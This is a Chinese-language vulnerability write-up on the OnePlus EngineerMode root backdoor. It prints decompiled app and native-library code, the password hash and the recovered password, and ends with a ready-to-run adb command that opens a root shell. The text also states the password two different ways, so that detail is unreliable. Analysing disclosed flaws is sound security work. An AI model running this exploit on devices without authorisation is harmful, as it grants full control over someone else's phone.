一加手机 Root 后门分析

漏洞细节

在一加的工程模式中存在 Root 提权后门，该漏洞由 nowsecure 团队发现。详情可点击https://www.nowsecure.com/blog/2017/11/14/oneplus-device-root-exploit-backdoor-engineermode-app-diagnostics-mode/ 参考。

类 com.android.engineeringmode.qualcomm.DiagEnabled 存在权限提升后门

private boolean escalatedUp(boolean arg7, String arg8) {
        boolean v1 = true;
        if(arg7) {
            if(arg8 != null) {
                arg7 = Privilege.escalate(arg8);
                if(arg7) {
                    SystemProperties.set("persist.sys.adbroot", "1");
                    SystemProperties.set("oem.selinux.reload_policy", "1");
                }

                String v4 = "DiagEnabled";
                StringBuilder v5 = new StringBuilder().append("privilege escalate ");
                String v3 = arg7 ? "success" : "failed";
                Log.d(v4, v5.append(v3).toString());
            }
            else {
                arg7 = false;
            }

            v1 = arg7;
        }
        else {
            SystemProperties.set("persist.sys.adbroot", "0");
            Privilege.recover();
        }

        SharedPreferences$Editor v0 = this.getSharedPreferences("privilege", 0).edit();
        v0.putBoolean("escalated", arg7);
        v0.commit();
        this.updatePrivilegeButton();
        if(v1) {
            if("0".equals(SystemProperties.get("persist.sys.adbroot", "1"))) {
                new Thread(new Runnable() {
                    public void run() {
                        Log.i("DiagEnabled", "reboot device...");
                        DiagEnabled.this.getSystemService("power").reboot(null);
                    }
                }).start();
            }
            else {
                SystemProperties.set("ctl.restart", "adbd");
            }
        }

        return v1;
    }

由以上代码逻辑可知，要使得代码执行到SystemProperties.set(“persist.sys.adbroot”, “1”);(adb shell 变 root)，需要使Privilege.escalate(arg8);返回true。escalate()是 native 函数，实现在 libdoor.so里。

root@OnePlus:/system/lib # ls|grep door
libdoor.so
root@OnePlus:/system/lib #

逆向发现，该函数使用 JNI_Onload 进行动态函数注册

signed int __fastcall JNI_OnLoad(int *a1, int a2)
{
  int v2; // r2
  int v3; // r3
  const char *v4; // r2
  int v5; // r4
  int v6; // r1
  const char *v7; // r2
  int v9; // [sp+4h] [bp-14h]

  v9 = a2;
  v2 = *a1;
  v9 = 0;
  if ( (*(int (__cdecl **)(int *))(v2 + 24))(a1) )
  {
    v4 = "ERROR: GetEnv failed\n";
  }
  else
  {
    v5 = v9;
    v6 = (*(int (__fastcall **)(int, const char *))(*(_DWORD *)v9 + 24))(
           v9,
           "com/android/engineeringmode/qualcomm/Privilege");
    if ( v6 )
    {
      if ( (*(int (__fastcall **)(int, int, char **, signed int))(*(_DWORD *)v5 + 860))(v5, v6, off_5028, 3) >= 0 ) // ----> 查看 0ff_5028
        return 65540;
      v7 = "RegisterNatives failed for '%s'\n";
    }
    else
    {
      v7 = "Native registration unable to find class '%s'\n";
    }
    _android_log_print(3, "door", v7, "com/android/engineeringmode/qualcomm/Privilege");
    v4 = "ERROR: BinaryDictionary native registration failed\n";
  }
  _android_log_print(3, "door", v4, v3);
  return -1;
}

0ff_5028 数据取放置的是各个动态函数的地址，找到escalate()地址为sub_C40。

.data:00005028 off_5028        DCD aIsescalated        ; DATA XREF: JNI_OnLoad+4C↑o
.data:00005028                                         ; .text:off_1188↑o
.data:00005028                                         ; "isEscalated"
.data:0000502C                 DCD aZ                  ; "()Z"
.data:00005030                 DCD sub_C40+1
//------------------------------------------------------------------------------
.data:00005034                 DCD aEscalate           ; "escalate"
.data:00005038                 DCD aLjavaLangStrin     ; "(Ljava/lang/String;)Z"
.data:0000503C                 DCD sub_1004+1 // ----> 函数地址
//------------------------------------------------------------------------------

.data:00005040                 DCD aRecover            ; "recover"
.data:00005044                 DCD aV                  ; "()V"
.data:00005048                 DCD sub_B70+1
.data:00005048 ; .data         ends

bool __fastcall sub_1004(int a1, int a2, int a3)
{
  int v3; // r8
  int v4; // r7
  const char *v5; // r6
  size_t v6; // r9
  int v7; // r3
  int v8; // r4
  char v10; // [sp+4h] [bp-BCh]
  int v11; // [sp+74h] [bp-4Ch]
  int v12; // [sp+78h] [bp-48h]
  char v13; // [sp+7Ch] [bp-44h]

  v3 = a3;
  v4 = a1;
  v5 = (const char *)(*(int (**)(void))(*(_DWORD *)a1 + 676))();
  (*(void (__fastcall **)(int, int))(*(_DWORD *)v4 + 672))(v4, v3);
  v11 = 235212815;
  v12 = 302976772;
  if ( !v5 || !*v5 )
    goto LABEL_6;
  v6 = strlen(v5);
  SHA256_Init(&v10);
  SHA256_Update(&v10, v5, v6);
  SHA256_Final(&v13, &v10);
  if ( memcmp(&v13, &unk_5008, 0x20u) ) // 输入密码校验，也就是escalate()的第二个参数
  {
    _android_log_print(3, "door", "password verify failed\n", v7);
LABEL_6:
    v8 = -1;
    goto LABEL_7;
  }
  _android_log_print(3, "door", "password verify passed\n", v7);
  v8 = sub_CC8(&v11);
LABEL_7:
  (*(void (__fastcall **)(int, int, const char *))(*(_DWORD *)v4 + 680))(v4, v3, v5);
  return v8 == 0;
}

unk_5008数据区域存放的值是79a6a933dfc9b1975e444d4e8481c64c771d8ab40b7ac72f8bc1a1bca1718bef,这里是与escalate()函数第二个参数进行 SHA256 后的值进行比较，看是否相等，相等则返回 true，那么接下来就会打开 root 权限。那么什么字符串的SHA256值是上面的数据呢？ 在hashtoolkit.com进行 sha256 解密得：

密码是angla。

Exploit

protected void onCreate(Bundle arg4) {
        super.onCreate(arg4);
        this.setContentView(2130903082);
        this.mSerial = this.findViewById(2131493027);
        this.mSerial.setOnCheckedChangeListener(((CompoundButton$OnCheckedChangeListener)this));
        this.mDiag = this.findViewById(2131493026);
        this.mDiag.setOnCheckedChangeListener(((CompoundButton$OnCheckedChangeListener)this));
        this.mAllDiag = this.findViewById(2131493028);
        this.mAllDiag.setOnCheckedChangeListener(((CompoundButton$OnCheckedChangeListener)this));
        this.mRndisAndDiag = this.findViewById(2131493029);
        this.mRndisAndDiag.setOnCheckedChangeListener(((CompoundButton$OnCheckedChangeListener)this));
        this.mPrivilege = this.findViewById(2131493031);
        this.mPrivilege.setOnClickListener(((View$OnClickListener)this));
        this.mPrivilege.setVisibility(4);
        this.findViewById(2131493030).setVisibility(4);
        this.mUsbManager = this.getSystemService("usb");
        if(this.getIntent() != null) {
            this.escalatedUp(true, this.getIntent().getStringExtra("code"));//----->
        }

        if(Feature.isSerialCdevSupported(((Context)this))) {
            DiagEnabled.ALLDIAG_USB_CONFIG = "diag,serial_cdev,serial_tty,rmnet_ipa,mass_storage,adb";
        }
    }

com.android.engineeringmode.qualcomm.DiagEnabled类是一个 Activity 类，且 exported 属性设置为了true，故而可以直接通过 adb 进行调用。从以上代码可知，escalate() 第二个参数，又可以通过 Intent 的方式进行传递，故而我们也可以在 adb 里使用 am 进行发送第二个参数angela。 最终我们构造的 exploit 代码为：

$ adb shell am start -n com.android.engineeringmode/.qualcomm.DiagEnabled --es "code" "angela"

再次执行 adb shell 将会获取 root shell。

漏洞修复

一加 1 – 5 之后，直接关闭了用户对工程模式的访问。

原文链接：https://www.anquanke.com/post/id/170096